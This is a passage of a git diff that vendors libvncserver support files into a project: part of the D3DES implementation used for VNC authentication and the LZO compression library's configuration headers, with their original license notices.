0x04200002L, 0x04200002L, 0x00000002L, + 0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L, + 0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L, + 0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L, + 0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L, + 0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L, + 0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L }; + +static const unsigned long SP8[64] = { + 0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L, + 0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L, + 0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L, + 0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L, + 0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L, + 0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L, + 0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L, + 0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L, + 0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L, + 0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L, + 0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L, + 0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L, + 0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L, + 0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L, + 0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L, + 0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L }; + +static void desfunc(register unsigned long *block, + register unsigned long *keys) +{ + register unsigned long fval, work, right, leftt; + register int round; + + leftt = block[0]; + right = block[1]; + work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; + right ^= work; + leftt ^= (work << 4); + work = ((leftt >> 16) ^ right) & 0x0000ffffL; + right ^= work; + leftt ^= (work << 16); + work = ((right >> 2) ^ leftt) & 0x33333333L; + leftt ^= work; + right ^= (work << 2); + work = ((right >> 8) ^ leftt) & 0x00ff00ffL; + leftt ^= work; + right ^= (work << 8); + right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL; + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL; + + for( round = 0; round < 8; round++ ) { + work = (right << 28) | (right >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = right ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + leftt ^= fval; + work = (leftt << 28) | (leftt >> 4); + work ^= *keys++; + fval = SP7[ work & 0x3fL]; + fval |= SP5[(work >> 8) & 0x3fL]; + fval |= SP3[(work >> 16) & 0x3fL]; + fval |= SP1[(work >> 24) & 0x3fL]; + work = leftt ^ *keys++; + fval |= SP8[ work & 0x3fL]; + fval |= SP6[(work >> 8) & 0x3fL]; + fval |= SP4[(work >> 16) & 0x3fL]; + fval |= SP2[(work >> 24) & 0x3fL]; + right ^= fval; + } + + right = (right << 31) | (right >> 1); + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = (leftt << 31) | (leftt >> 1); + work = ((leftt >> 8) ^ right) & 0x00ff00ffL; + right ^= work; + leftt ^= (work << 8); + work = ((leftt >> 2) ^ right) & 0x33333333L; + right ^= work; + leftt ^= (work << 2); + work = ((right >> 16) ^ leftt) & 0x0000ffffL; + leftt ^= work; + right ^= (work << 16); + work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; + leftt ^= work; + right ^= (work << 4); + *block++ = right; + *block = leftt; + return; + } + +/* Validation sets: + * + * Single-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef + * Plain : 0123 4567 89ab cde7 + * Cipher : c957 4425 6a5e d31d + * + * Double-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cde7 + * Cipher : 7f1d 0a77 826b 8aff + * + * Double-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7 + * + * Triple-length key, single-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cde7 + * Cipher : de0b 7c06 ae5e 0ed5 + * + * Triple-length key, double-length plaintext - + * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 + * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff + * Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5 + * + * d3des V5.0a rwo 9208.07 18:44 Graven Imagery + **********************************************************************/ diff --git a/3rdparty/libvncserver/common/d3des.h b/3rdparty/libvncserver/common/d3des.h new file mode 100644 index 0000000..bb7d182 --- /dev/null +++ b/3rdparty/libvncserver/common/d3des.h @@ -0,0 +1,50 @@ +#ifndef D3DES_H +#define D3DES_H + +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. + * + * These changes are: + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* d3des.h - + * + * Headers and defines for d3des.c + * Graven Imagery, 1992. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge + * (GEnie : OUTER; CIS : [71755,204]) + */ + +#define EN0 0 /* MODE == encrypt */ +#define DE1 1 /* MODE == decrypt */ + +extern void rfbDesKey(unsigned char *, int); +/* hexkey[8] MODE + * Sets the internal key register according to the hexadecimal + * key contained in the 8 bytes of hexkey, according to the DES, + * for encryption or decryption according to MODE. + */ + +extern void rfbUseKey(unsigned long *); +/* cookedkey[32] + * Loads the internal key register with the data in cookedkey. + */ + +extern void rfbDes(unsigned char *, unsigned char *); +/* from[8] to[8] + * Encrypts/Decrypts (according to the key currently loaded in the + * internal key register) one block of eight bytes at address 'from' + * into the block at address 'to'. They can be the same. + */ + +/* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery + ********************************************************************/ + +#endif diff --git a/3rdparty/libvncserver/common/lzoconf.h b/3rdparty/libvncserver/common/lzoconf.h new file mode 100644 index 0000000..02fb202 --- /dev/null +++ b/3rdparty/libvncserver/common/lzoconf.h @@ -0,0 +1,444 @@ +/* lzoconf.h -- configuration of the LZO data compression library + + This file is part of the LZO real-time data compression library. + + Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer + All Rights Reserved. + + The LZO library is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + The LZO library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with the LZO library; see the file COPYING. + If not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + Markus F.X.J. Oberhumer + + http://www.oberhumer.com/opensource/lzo/ + */ + + +#ifndef __LZOCONF_H_INCLUDED +#define __LZOCONF_H_INCLUDED 1 + +#define LZO_VERSION 0x2070 +#define LZO_VERSION_STRING "2.07" +#define LZO_VERSION_DATE "Jun 25 2014" + +/* internal Autoconf configuration file - only used when building LZO */ +#if defined(LZO_HAVE_CONFIG_H) +# include +#endif +#include +#include + + +/*********************************************************************** +// LZO requires a conforming +************************************************************************/ + +#if !defined(CHAR_BIT) || (CHAR_BIT != 8) +# error "invalid CHAR_BIT" +#endif +#if !defined(UCHAR_MAX) || !defined(USHRT_MAX) || !defined(UINT_MAX) || !defined(ULONG_MAX) +# error "check your compiler installation" +#endif +#if (USHRT_MAX < 1) || (UINT_MAX < 1) || (ULONG_MAX < 1) +# error "your limits.h macros are broken" +#endif + +/* get OS and architecture defines */ +#ifndef __LZODEFS_H_INCLUDED +#include "lzodefs.h" +#endif + + +#ifdef __cplusplus +extern "C" { +#endif + + +/*********************************************************************** +// some core defines +************************************************************************/ + +/* memory checkers */ +#if !defined(__LZO_CHECKER) +# if defined(__BOUNDS_CHECKING_ON) +# define __LZO_CHECKER 1 +# elif defined(__CHECKER__) +# define __LZO_CHECKER 1 +# elif defined(__INSURE__) +# define __LZO_CHECKER 1 +# elif defined(__PURIFY__) +# define __LZO_CHECKER 1 +# endif +#endif + + +/*********************************************************************** +// integral and pointer types +************************************************************************/ + +/* lzo_uint must match size_t */ +#if !defined(LZO_UINT_MAX) +# if (LZO_ABI_LLP64) +# if (LZO_OS_WIN64) + typedef unsigned __int64 lzo_uint; + typedef __int64 lzo_int; +# else + typedef lzo_ullong_t lzo_uint; + typedef lzo_llong_t lzo_int; +# endif +# define LZO_SIZEOF_LZO_UINT 8 +# define LZO_UINT_MAX 0xffffffffffffffffull +# define LZO_INT_MAX 9223372036854775807LL +# define LZO_INT_MIN (-1LL - LZO_INT_MAX) +# elif (LZO_ABI_IP32L64) /* MIPS R5900 */ + typedef unsigned int lzo_uint; + typedef int lzo_int; +# define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_INT +# define LZO_UINT_MAX UINT_MAX +# define LZO_INT_MAX INT_MAX +# define LZO_INT_MIN INT_MIN +# elif (ULONG_MAX >= LZO_0xffffffffL) + typedef unsigned long lzo_uint; + typedef long lzo_int; +# define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_LONG +# define LZO_UINT_MAX ULONG_MAX +# define LZO_INT_MAX LONG_MAX +# define LZO_INT_MIN LONG_MIN +# else +# error "lzo_uint" +# endif +#endif + +/* The larger type of lzo_uint and lzo_uint32_t. */ +#if (LZO_SIZEOF_LZO_UINT >= 4) +# define lzo_xint lzo_uint +#else +# define lzo_xint lzo_uint32_t +#endif + +typedef int lzo_bool; + +/* sanity checks */ +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == LZO_SIZEOF_LZO_UINT) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint32_t)) + +#ifndef __LZO_MMODEL +#define __LZO_MMODEL /*empty*/ +#endif + +/* no typedef here because of const-pointer issues */ +#define lzo_bytep unsigned char __LZO_MMODEL * +#define lzo_charp char __LZO_MMODEL * +#define lzo_voidp void __LZO_MMODEL * +#define lzo_shortp short __LZO_MMODEL * +#define lzo_ushortp unsigned short __LZO_MMODEL * +#define lzo_intp lzo_int __LZO_MMODEL * +#define lzo_uintp lzo_uint __LZO_MMODEL * +#define lzo_xintp lzo_xint __LZO_MMODEL * +#define lzo_voidpp lzo_voidp __LZO_MMODEL * +#define lzo_bytepp lzo_bytep __LZO_MMODEL * + +#define lzo_int8_tp lzo_int8_t __LZO_MMODEL * +#define lzo_uint8_tp lzo_uint8_t __LZO_MMODEL * +#define lzo_int16_tp lzo_int16_t __LZO_MMODEL * +#define lzo_uint16_tp lzo_uint16_t __LZO_MMODEL * +#define lzo_int32_tp lzo_int32_t __LZO_MMODEL * +#define lzo_uint32_tp lzo_uint32_t __LZO_MMODEL * +#if defined(lzo_int64_t) +#define lzo_int64_tp lzo_int64_t __LZO_MMODEL * +#define lzo_uint64_tp lzo_uint64_t __LZO_MMODEL * +#endif + +/* Older LZO versions used to support ancient systems and memory models + * like 16-bit MSDOS with __huge pointers and Cray PVP, but these + * obsolete configurations are not supported any longer. + */ +#if defined(__LZO_MMODEL_HUGE) +#error "__LZO_MMODEL_HUGE is unsupported" +#endif +#if (LZO_MM_PVP) +#error "LZO_MM_PVP is unsupported" +#endif +#if (LZO_SIZEOF_INT < 4) +#error "LZO_SIZEOF_INT < 4 is unsupported" +#endif +#if (__LZO_UINTPTR_T_IS_POINTER) +#error "__LZO_UINTPTR_T_IS_POINTER is unsupported" +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) >= 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) >= 4) +/* Strange configurations where sizeof(lzo_uint) != sizeof(size_t) should + * work but have not received much testing lately, so be strict here. + */ +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(size_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(ptrdiff_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(lzo_uintptr_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_uintptr_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_uintptr_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long *) == sizeof(lzo_uintptr_t)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_voidp)) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_bytep)) + + +/*********************************************************************** +// function types +************************************************************************/ + +/* name mangling */ +#if !defined(__LZO_EXTERN_C) +# ifdef __cplusplus +# define __LZO_EXTERN_C extern "C" +# else +# define __LZO_EXTERN_C extern +# endif +#endif + +/* calling convention */ +#if !defined(__LZO_CDECL) +# define __LZO_CDECL __lzo_cdecl +#endif + +/* DLL export information */ +#if !defined(__LZO_EXPORT1) +# define __LZO_EXPORT1 /*empty*/ +#endif +#if !defined(__LZO_EXPORT2) +# define __LZO_EXPORT2 /*empty*/ +#endif + +/* __cdecl calling convention for public C and assembly functions */ +#if !defined(LZO_PUBLIC) +# define LZO_PUBLIC(_rettype) __LZO_EXPORT1 _rettype __LZO_EXPORT2 __LZO_CDECL +#endif +#if !defined(LZO_EXTERN) +# define LZO_EXTERN(_rettype) __LZO_EXTERN_C LZO_PUBLIC(_rettype) +#endif +#if !defined(LZO_PRIVATE) +# define LZO_PRIVATE(_rettype) static _rettype __LZO_CDECL +#endif + +/* function types */ +typedef int +(__LZO_CDECL *lzo_compress_t) ( const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem ); + +typedef int +(__LZO_CDECL *lzo_decompress_t) ( const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem ); + +typedef int +(__LZO_CDECL *lzo_optimize_t) ( lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem ); + +typedef int +(__LZO_CDECL *lzo_compress_dict_t)(const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem, + const lzo_bytep dict, lzo_uint dict_len ); + +typedef int +(__LZO_CDECL *lzo_decompress_dict_t)(const lzo_bytep src, lzo_uint src_len, + lzo_bytep dst, lzo_uintp dst_len, + lzo_voidp wrkmem, + const lzo_bytep dict, lzo_uint dict_len ); + + +/* Callback interface. Currently only the progress indicator ("nprogress") + * is used, but this may change in a future release. */ + +struct lzo_callback_t; +typedef struct lzo_callback_t lzo_callback_t; +#define lzo_callback_p lzo_callback_t __LZO_MMODEL * + +/* malloc & free function types */ +typedef lzo_voidp (__LZO_CDECL *lzo_alloc_func_t) + (lzo_callback_p self, lzo_uint items, lzo_uint size); +typedef void (__LZO_CDECL *lzo_free_func_t) + (lzo_callback_p self, lzo_voidp ptr); + +/* a progress indicator callback function */ +typedef void (__LZO_CDECL *lzo_progress_func_t) + (lzo_callback_p, lzo_uint, lzo_uint, int); + +struct lzo_callback_t +{ + /* custom allocators (set to 0 to disable) */ + lzo_alloc_func_t nalloc; /* [not used right now] */ + lzo_free_func_t nfree; /* [not used right now] */ + + /* a progress indicator callback function (set to 0 to disable) */ + lzo_progress_func_t nprogress; + + /* INFO: the first parameter "self" of the nalloc/nfree/nprogress + * callbacks points back to this struct, so you are free to store + * some extra info in the following variables. */ + lzo_voidp user1; + lzo_xint user2; + lzo_xint user3; +}; + + +/*********************************************************************** +// error codes and prototypes +************************************************************************/ + +/* Error codes for the compression/decompression functions. Negative + * values are errors, positive values will be used for special but + * normal events. + */ +#define LZO_E_OK 0 +#define LZO_E_ERROR (-1) +#define LZO_E_OUT_OF_MEMORY (-2) /* [lzo_alloc_func_t failure] */ +#define LZO_E_NOT_COMPRESSIBLE (-3) /* [not used right now] */ +#define LZO_E_INPUT_OVERRUN (-4) +#define LZO_E_OUTPUT_OVERRUN (-5) +#define LZO_E_LOOKBEHIND_OVERRUN (-6) +#define LZO_E_EOF_NOT_FOUND (-7) +#define LZO_E_INPUT_NOT_CONSUMED (-8) +#define LZO_E_NOT_YET_IMPLEMENTED (-9) /* [not used right now] */ +#define LZO_E_INVALID_ARGUMENT (-10) +#define LZO_E_INVALID_ALIGNMENT (-11) /* pointer argument is not properly aligned */ +#define LZO_E_OUTPUT_NOT_CONSUMED (-12) +#define LZO_E_INTERNAL_ERROR (-99) + + +#ifndef lzo_sizeof_dict_t +# define lzo_sizeof_dict_t ((unsigned)sizeof(lzo_bytep)) +#endif + +/* lzo_init() should be the first function you call. + * Check the return code ! + * + * lzo_init() is a macro to allow checking that the library and the + * compiler's view of various types are consistent. + */ +#define lzo_init() __lzo_init_v2(LZO_VERSION,(int)sizeof(short),(int)sizeof(int),\ + (int)sizeof(long),(int)sizeof(lzo_uint32_t),(int)sizeof(lzo_uint),\ + (int)lzo_sizeof_dict_t,(int)sizeof(char *),(int)sizeof(lzo_voidp),\ + (int)sizeof(lzo_callback_t)) +LZO_EXTERN(int) __lzo_init_v2(unsigned,int,int,int,int,int,int,int,int,int); + +/* version functions (useful for shared libraries) */ +LZO_EXTERN(unsigned) lzo_version(void); +LZO_EXTERN(const char *) lzo_version_string(void); +LZO_EXTERN(const char *) lzo_version_date(void); +LZO_EXTERN(const lzo_charp) _lzo_version_string(void); +LZO_EXTERN(const lzo_charp) _lzo_version_date(void); + +/* string functions */ +LZO_EXTERN(int) + lzo_memcmp(const lzo_voidp a, const lzo_voidp b, lzo_uint len); +LZO_EXTERN(lzo_voidp) + lzo_memcpy(lzo_voidp dst, const lzo_voidp src, lzo_uint len); +LZO_EXTERN(lzo_voidp) + lzo_memmove(lzo_voidp dst, const lzo_voidp src, lzo_uint len); +LZO_EXTERN(lzo_voidp) + lzo_memset(lzo_voidp buf, int c, lzo_uint len); + +/* checksum functions */ +LZO_EXTERN(lzo_uint32_t) + lzo_adler32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len); +LZO_EXTERN(lzo_uint32_t) + lzo_crc32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len); +LZO_EXTERN(const lzo_uint32_tp) + lzo_get_crc32_table(void); + +/* misc. */ +LZO_EXTERN(int) _lzo_config_check(void); +typedef union { + lzo_voidp a00; lzo_bytep a01; lzo_uint a02; lzo_xint a03; lzo_uintptr_t a04; + void *a05; unsigned char *a06; unsigned long a07; size_t a08; ptrdiff_t a09; +#if defined(lzo_int64_t) + lzo_uint64_t a10; +#endif +} lzo_align_t; + +/* align a char pointer on a boundary that is a multiple of 'size' */ +LZO_EXTERN(unsigned) __lzo_align_gap(const lzo_voidp p, lzo_uint size); +#define LZO_PTR_ALIGN_UP(p,size) \ + ((p) + (lzo_uint) __lzo_align_gap((const lzo_voidp)(p),(lzo_uint)(size))) + + +/*********************************************************************** +// deprecated macros - only for backward compatibility +************************************************************************/ + +/* deprecated - use 'lzo_bytep' instead of 'lzo_byte *' */ +#define lzo_byte unsigned char +/* deprecated type names */ +#define lzo_int32 lzo_int32_t +#define lzo_uint32 lzo_uint32_t +#define lzo_int32p lzo_int32_t __LZO_MMODEL * +#define lzo_uint32p lzo_uint32_t __LZO_MMODEL * +#define LZO_INT32_MAX LZO_INT32_C(2147483647) +#define LZO_UINT32_MAX LZO_UINT32_C(4294967295) +#if defined(lzo_int64_t) +#define lzo_int64 lzo_int64_t +#define lzo_uint64 lzo_uint64_t +#define lzo_int64p lzo_int64_t __LZO_MMODEL * +#define lzo_uint64p lzo_uint64_t __LZO_MMODEL * +#define LZO_INT64_MAX LZO_INT64_C(9223372036854775807) +#define LZO_UINT64_MAX LZO_UINT64_C(18446744073709551615) +#endif +/* deprecated types */ +typedef union { lzo_bytep a; lzo_uint b; } __lzo_pu_u; +typedef union { lzo_bytep a; lzo_uint32_t b; } __lzo_pu32_u; + +#if defined(LZO_CFG_COMPAT) + +#define __LZOCONF_H 1 + +#if defined(LZO_ARCH_I086) +# define __LZO_i386 1 +#elif defined(LZO_ARCH_I386) +# define __LZO_i386 1 +#endif + +#if defined(LZO_OS_DOS16) +# define __LZO_DOS 1 +# define __LZO_DOS16 1 +#elif defined(LZO_OS_DOS32) +# define __LZO_DOS 1 +#elif defined(LZO_OS_WIN16) +# define __LZO_WIN 1 +# define __LZO_WIN16 1 +#elif defined(LZO_OS_WIN32) +# define __LZO_WIN 1 +#endif + +#define __LZO_CMODEL /*empty*/ +#define __LZO_DMODEL /*empty*/ +#define __LZO_ENTRY __LZO_CDECL +#define LZO_EXTERN_CDECL LZO_EXTERN +#define LZO_ALIGN LZO_PTR_ALIGN_UP + +#define lzo_compress_asm_t lzo_compress_t +#define lzo_decompress_asm_t lzo_decompress_t + +#endif /* LZO_CFG_COMPAT */ + + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif /* already included */ + + +/* vim:set ts=4 et: */ diff --git a/3rdparty/libvncserver/common/lzodefs.h b/3rdparty/libvncserver/common/lzodefs.h new file mode 100644 index 0000000..f4ae948 --- /dev/null +++ b/3rdparty/libvncserver/common/lzodefs.h @@ -0,0 +1,2998 @@ +/* lzodefs.h -- architecture, OS and compiler specific defines + + This file is part of the LZO real-time data compression library. + + Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer + All Rights Reserved. + + The LZO library is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of + the License, or (at your option) any later version. + + The LZO library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with the LZO library; see the file COPYING. + If not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + Markus F.X.J. Oberhumer + + http://www.oberhumer.com/opensource/lzo/ + */ + + +#ifndef __LZODEFS_H_INCLUDED +#define __LZODEFS_H_INCLUDED 1 + +#if defined(__CYGWIN32__) && !defined(__CYGWIN__) +# define __CYGWIN__ __CYGWIN32__ +#endif +#if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE) +# define _ALL_SOURCE 1 +#endif +#if defined(__mips__) && defined(__R5900__) +# if !defined(__LONG_MAX__) +# define __LONG_MAX__ 9223372036854775807L +# endif +#endif +#if !defined(LZO_CFG_NO_DISABLE_WUNDEF) +#if defined(__ARMCC_VERSION) +# pragma diag_suppress 193 +#elif defined(__clang__) && defined(__clang_minor__) +# pragma clang diagnostic ignored "-Wundef" +#elif defined(__INTEL_COMPILER) +# pragma warning(disable: 193) +#elif defined(__KEIL__) && defined(__C166__) +# pragma warning disable = 322 +#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__) +# if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2)) +# pragma GCC diagnostic ignored "-Wundef" +# endif +#elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__) +# if ((_MSC_VER-0) >= 1300) +# pragma warning(disable: 4668) +# endif +#endif +#endif +#if 0 && defined(__POCC__) && defined(_WIN32) +# if (__POCC__ >= 400) +# pragma warn(disable: 2216) +# endif +#endif +#if 0 && defined(__WATCOMC__) +# if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060) +# pragma warning 203 9 +# endif +#endif +#if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__) +# pragma option -h +#endif +#if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC) +#ifndef _CRT_NONSTDC_NO_DEPRECATE +#define _CRT_NONSTDC_NO_DEPRECATE 1 +#endif +#ifndef _CRT_NONSTDC_NO_WARNINGS +#define _CRT_NONSTDC_NO_WARNINGS 1 +#endif +#ifndef _CRT_SECURE_NO_DEPRECATE +#define _CRT_SECURE_NO_DEPRECATE 1 +#endif +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS 1 +#endif +#endif +#if 0 +#define LZO_0xffffUL 0xfffful +#define LZO_0xffffffffUL 0xfffffffful +#else +#define LZO_0xffffUL 65535ul +#define LZO_0xffffffffUL 4294967295ul +#endif +#define LZO_0xffffL LZO_0xffffUL +#define LZO_0xffffffffL LZO_0xffffffffUL +#if (LZO_0xffffL == LZO_0xffffffffL) +# error "your preprocessor is broken 1" +#endif +#if (16ul * 16384ul != 262144ul) +# error "your preprocessor is broken 2" +#endif +#if 0 +#if (32767 >= 4294967295ul) +# error "your preprocessor is broken 3" +#endif +#if (65535u >= 4294967295ul) +# error "your preprocessor is broken 4" +#endif +#endif +#if defined(__COUNTER__) +# ifndef LZO_CFG_USE_COUNTER +# define LZO_CFG_USE_COUNTER 1 +# endif +#else +# undef LZO_CFG_USE_COUNTER +#endif +#if (UINT_MAX == LZO_0xffffL) +#if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__) +# if !defined(MSDOS) +# define MSDOS 1 +# endif +# if !defined(_MSDOS) +# define _MSDOS 1 +# endif +#elif 0 && defined(__VERSION) && defined(MB_LEN_MAX) +# if (__VERSION == 520) && (MB_LEN_MAX == 1) +# if !defined(__AZTEC_C__) +# define __AZTEC_C__ __VERSION +# endif +# if !defined(__DOS__) +# define __DOS__ 1 +# endif +# endif +#endif +#endif +#if defined(_MSC_VER) && defined(M_I86HM) && (UINT_MAX == LZO_0xffffL) +# define ptrdiff_t long +# define _PTRDIFF_T_DEFINED 1 +#endif +#if (UINT_MAX == LZO_0xffffL) +# undef __LZO_RENAME_A +# undef __LZO_RENAME_B +# if defined(__AZTEC_C__) && defined(__DOS__) +# define __LZO_RENAME_A 1 +# elif defined(_MSC_VER) && defined(MSDOS) +# if (_MSC_VER < 600) +# define __LZO_RENAME_A 1 +# elif (_MSC_VER < 700) +# define __LZO_RENAME_B 1 +# endif +# elif defined(__TSC__) && defined(__OS2__) +# define __LZO_RENAME_A 1 +# elif defined(__MSDOS__) && defined(__TURBOC__) && (__TURBOC__ < 0x0410) +# define __LZO_RENAME_A 1 +# elif defined(__PACIFIC__) && defined(DOS) +# if !defined(__far) +# define __far far +# endif +# if !defined(__near) +# define __near near +# endif +# endif +# if defined(__LZO_RENAME_A) +# if !defined(__cdecl) +# define __cdecl cdecl +# endif +# if !defined(__far) +# define __far far +# endif +# if !defined(__huge) +# define __huge huge +# endif +# if !defined(__near) +# define __near near +# endif +# if !defined(__pascal) +# define __pascal pascal +# endif +# if !defined(__huge) +# define __huge huge +# endif +# elif defined(__LZO_RENAME_B) +# if !defined(__cdecl) +# define __cdecl _cdecl +# endif +# if !defined(__far) +# define __far _far +# endif +# if !defined(__huge) +# define __huge _huge +# endif +# if !defined(__near) +# define __near _near +# endif +# if !defined(__pascal) +# define __pascal _pascal +# endif +# elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) +# if !defined(__cdecl) +# define __cdecl cdecl +# endif +# if !defined(__pascal) +# define __pascal pascal +# endif +# endif +# undef __LZO_RENAME_A +# undef __LZO_RENAME_B +#endif +#if (UINT_MAX == LZO_0xffffL) +#if defined(__AZTEC_C__) && defined(__DOS__) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +#elif defined(_MSC_VER) && defined(MSDOS) +# if (_MSC_VER < 600) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +# endif +# if (_MSC_VER < 700) +# define LZO_BROKEN_INTEGRAL_PROMOTION 1 +# define LZO_BROKEN_SIZEOF 1 +# endif +#elif defined(__PACIFIC__) && defined(DOS) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +#elif defined(__TURBOC__) && defined(__MSDOS__) +# if (__TURBOC__ < 0x0150) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +# define LZO_BROKEN_INTEGRAL_PROMOTION 1 +# endif +# if (__TURBOC__ < 0x0200) +# define LZO_BROKEN_SIZEOF 1 +# endif +# if (__TURBOC__ < 0x0400) && defined(__cplusplus) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# endif +#elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) +# define LZO_BROKEN_CDECL_ALT_SYNTAX 1 +# define LZO_BROKEN_SIZEOF 1 +#endif +#endif +#if defined(__WATCOMC__) && (__WATCOMC__ < 900) +# define LZO_BROKEN_INTEGRAL_CONSTANTS 1 +#endif +#if defined(_CRAY) && defined(_CRAY1) +# define LZO_BROKEN_SIGNED_RIGHT_SHIFT 1 +#endif +#define LZO_PP_STRINGIZE(x) #x +#define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x) +#define LZO_PP_CONCAT0() 